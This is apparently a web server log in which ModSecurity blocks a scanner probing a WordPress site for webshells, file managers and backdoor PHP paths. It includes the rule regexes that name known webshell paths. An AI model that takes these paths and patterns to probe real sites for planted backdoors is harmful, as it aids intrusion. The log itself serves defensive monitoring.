[Sat May 23 20:51:03.110689 2026] [:error] [pid 44326:tid 44373] [client 4.213.99.137:1962] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahGit8yrPrcAqE-FOKKf-wAAAdI"]
[Sat May 23 20:51:03.384314 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1530] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "ahGit3TIgjSDhiZmvlXuZgAAAEs"]
[Sat May 23 20:51:03.811209 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1121] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "ahGit9Uosz64YFiBlG11gwAAAI8"]
[Sat May 23 20:51:04.155422 2026] [:error] [pid 44296:tid 44309] [client 4.213.99.137:1956] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "ahGiuJdrUdFI6ijvMkmMJQAAAUs"]
[Sat May 23 20:51:04.471300 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1473] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "ahGiuJdrUdFI6ijvMkmMJwAAAVU"]
[Sat May 23 20:51:05.582525 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1533] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.trash7206/index.php"] [unique_id "ahGiuXTIgjSDhiZmvlXuZwAAAFc"]
[Sat May 23 20:51:05.889907 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:1122] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "ahGiudUosz64YFiBlG11hAAAAJY"]
[Sat May 23 20:51:10.329510 2026] [:error] [pid 30941:tid 31000] [client 4.213.99.137:1961] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/index.php"] [unique_id "ahGivnTIgjSDhiZmvlXudAAAAFg"]
[Sat May 23 20:51:10.618330 2026] [autoindex:error] [pid 44326:tid 44377] [client 4.213.99.137:1106] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:51:10.755415 2026] [:error] [pid 44326:tid 44360] [client 4.213.99.137:1106] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/min.php"] [unique_id "ahGivsyrPrcAqE-FOKKgBAAAAcU"]
[Sat May 23 20:51:12.276696 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1503] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/filemanager.php"] [unique_id "ahGiwMyrPrcAqE-FOKKgCAAAAdE"]
[Sat May 23 20:51:13.718059 2026] [autoindex:error] [pid 30942:tid 31007] [client 4.213.99.137:1930] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:51:13.853029 2026] [:error] [pid 30942:tid 31022] [client 4.213.99.137:1930] [client 4.213.99.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.213.99.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ahGiwdUosz64YFiBlG11jAAAAJM"]
[Sat May 23 20:51:18.257674 2026] [autoindex:error] [pid 30942:tid 31012] [client 4.213.99.137:1930] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:51:19.326653 2026] [autoindex:error] [pid 30942:tid 31014] [client 4.213.99.137:1930] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-content/upgrade/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:51:22.960271 2026] [:error] [pid 30942:tid 31005] [client 4.213.99.137:1930] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/rip.php"] [unique_id "ahGiytUosz64YFiBlG11mgAAAII"]
[Sat May 23 20:51:23.250526 2026] [:error] [pid 31039:tid 31044] [client 4.213.99.137:1140] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/rip.php"] [unique_id "ahGiy6IYDYo8WvA5zLJGEAAAAMM"]
[Sat May 23 20:51:23.552349 2026] [:error] [pid 31039:tid 31053] [client 4.213.99.137:1509] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/rip.php"] [unique_id "ahGiy6IYDYo8WvA5zLJGEgAAAMw"]
[Sat May 23 20:51:23.827827 2026] [:error] [pid 30940:tid 30971] [client 4.213.99.137:1967] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/storage/rip.php"] [unique_id "ahGiy5qUP2XZmzp7RDoMxgAAABY"]
[Sat May 23 20:51:24.113922 2026] [:error] [pid 44325:tid 44333] [client 4.213.99.137:1526] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tinyfilemanager.php"] [unique_id "ahGizFgUQb4puB_2yV8llgAAAYU"]
[Sat May 23 20:51:24.390376 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1502] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bk/"] [unique_id "ahGizHTIgjSDhiZmvlXumgAAAEc"]
[Sat May 23 20:51:24.669098 2026] [:error] [pid 30940:tid 30960] [client 4.213.99.137:1409] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bk/"] [unique_id "ahGizJqUP2XZmzp7RDoMyAAAAAs"]
[Sat May 23 20:51:24.989399 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1129] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bk/"] [unique_id "ahGizASpWUCKPezIBJCt8gAAARA"]
[Sat May 23 20:51:25.265272 2026] [:error] [pid 30942:tid 31022] [client 4.213.99.137:1537] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/bk/"] [unique_id "ahGizdUosz64YFiBlG11nwAAAJM"]
[Sat May 23 20:51:25.570842 2026] [:error] [pid 44325:tid 44343] [client 4.213.99.137:1950] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ahGizVgUQb4puB_2yV8llwAAAY8"]
[Sat May 23 20:51:25.923751 2026] [:error] [pid 44326:tid 44377] [client 4.213.99.137:1487] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ahGizcyrPrcAqE-FOKKgFQAAAdY"]
[Sat May 23 20:51:26.225478 2026] [:error] [pid 30941:tid 30999] [client 4.213.99.137:1920] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ahGiznTIgjSDhiZmvlXunAAAAFc"]
[Sat May 23 20:51:26.504076 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1925] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/403.php"] [unique_id "ahGiznTIgjSDhiZmvlXungAAAFY"]
[Sat May 23 20:51:26.805205 2026] [:error] [pid 30941:tid 30978] [client 4.213.99.137:1482] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ahGiznTIgjSDhiZmvlXunwAAAEI"]
[Sat May 23 20:51:27.098653 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1974] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ahGiz3TIgjSDhiZmvlXuogAAAEw"]
[Sat May 23 20:51:27.393320 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1567] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ahGiz3TIgjSDhiZmvlXupAAAAEc"]
[Sat May 23 20:51:27.668929 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1527] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "ahGiz8yrPrcAqE-FOKKgGwAAAcI"]
[Sat May 23 20:51:27.945000 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1938] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ahGiz8yrPrcAqE-FOKKgHAAAAcY"]
[Sat May 23 20:51:28.314335 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1937] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ahGi0HTIgjSDhiZmvlXuqQAAAFY"]
[Sat May 23 20:51:28.655997 2026] [:error] [pid 30941:tid 30991] [client 4.213.99.137:1452] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ahGi0HTIgjSDhiZmvlXuqwAAAE8"]
[Sat May 23 20:51:28.926656 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1483] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ahGi0HTIgjSDhiZmvlXurAAAAFU"]
[Sat May 23 20:51:29.290813 2026] [:error] [pid 30941:tid 30995] [client 4.213.99.137:1475] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "ahGi0XTIgjSDhiZmvlXurQAAAFM"]
[Sat May 23 20:51:29.618004 2026] [:error] [pid 31039:tid 31054] [client 4.213.99.137:1565] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "ahGi0aIYDYo8WvA5zLJGJwAAAM0"]
[Sat May 23 20:51:29.948336 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1547] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "ahGi0dUosz64YFiBlG11pAAAAIc"]
[Sat May 23 20:51:30.224607 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1976] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/"] [unique_id "ahGi0tUosz64YFiBlG11pQAAAI8"]
[Sat May 23 20:51:30.499209 2026] [:error] [pid 25876:tid 25899] [client 4.213.99.137:1131] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "ahGi0gSpWUCKPezIBJCt9AAAARU"]
[Sat May 23 20:51:30.842691 2026] [:error] [pid 25876:tid 25886] [client 4.213.99.137:1959] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "ahGi0gSpWUCKPezIBJCt9QAAAQg"]
[Sat May 23 20:51:31.112498 2026] [:error] [pid 25876:tid 25897] [client 4.213.99.137:1528] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "ahGi0wSpWUCKPezIBJCt9wAAARM"]
[Sat May 23 20:51:31.392778 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1966] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "ahGi03TIgjSDhiZmvlXutAAAAEo"]
[Sat May 23 20:51:31.688172 2026] [:error] [pid 30940:tid 30965] [client 4.213.99.137:1125] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "ahGi05qUP2XZmzp7RDoMywAAABA"]
[Sat May 23 20:51:32.028550 2026] [:error] [pid 30940:tid 30953] [client 4.213.99.137:1513] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "ahGi1JqUP2XZmzp7RDoMzAAAAAQ"]
[Sat May 23 20:51:32.306112 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1973] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "ahGi1HTIgjSDhiZmvlXuuQAAAEw"]
[Sat May 23 20:51:32.648601 2026] [:error] [pid 44325:tid 44349] [client 4.213.99.137:1569] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/core-plugin/include.php"] [unique_id "ahGi1FgUQb4puB_2yV8lmQAAAZU"]
[Sat May 23 20:51:32.928719 2026] [:error] [pid 44325:tid 44341] [client 4.213.99.137:1481] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/b.php"] [unique_id "ahGi1FgUQb4puB_2yV8lmwAAAY0"]
[Sat May 23 20:51:33.210789 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1960] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/b.php"] [unique_id "ahGi1dUosz64YFiBlG11pwAAAJA"]
[Sat May 23 20:51:33.561600 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1921] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/b.php"] [unique_id "ahGi1cyrPrcAqE-FOKKgJAAAAdE"]
[Sat May 23 20:51:33.953857 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1539] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/pridmag/b.php"] [unique_id "ahGi1XTIgjSDhiZmvlXuvAAAAE0"]
[Sat May 23 20:51:34.234526 2026] [:error] [pid 44326:tid 44358] [client 4.213.99.137:1945] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "ahGi1syrPrcAqE-FOKKgJgAAAcM"]
[Sat May 23 20:51:34.514044 2026] [:error] [pid 30941:tid 30987] [client 4.213.99.137:1564] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "ahGi1nTIgjSDhiZmvlXuvQAAAEs"]
[Sat May 23 20:51:34.808395 2026] [:error] [pid 30941:tid 30982] [client 4.213.99.137:1582] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/"] [unique_id "ahGi1nTIgjSDhiZmvlXuvgAAAEY"]
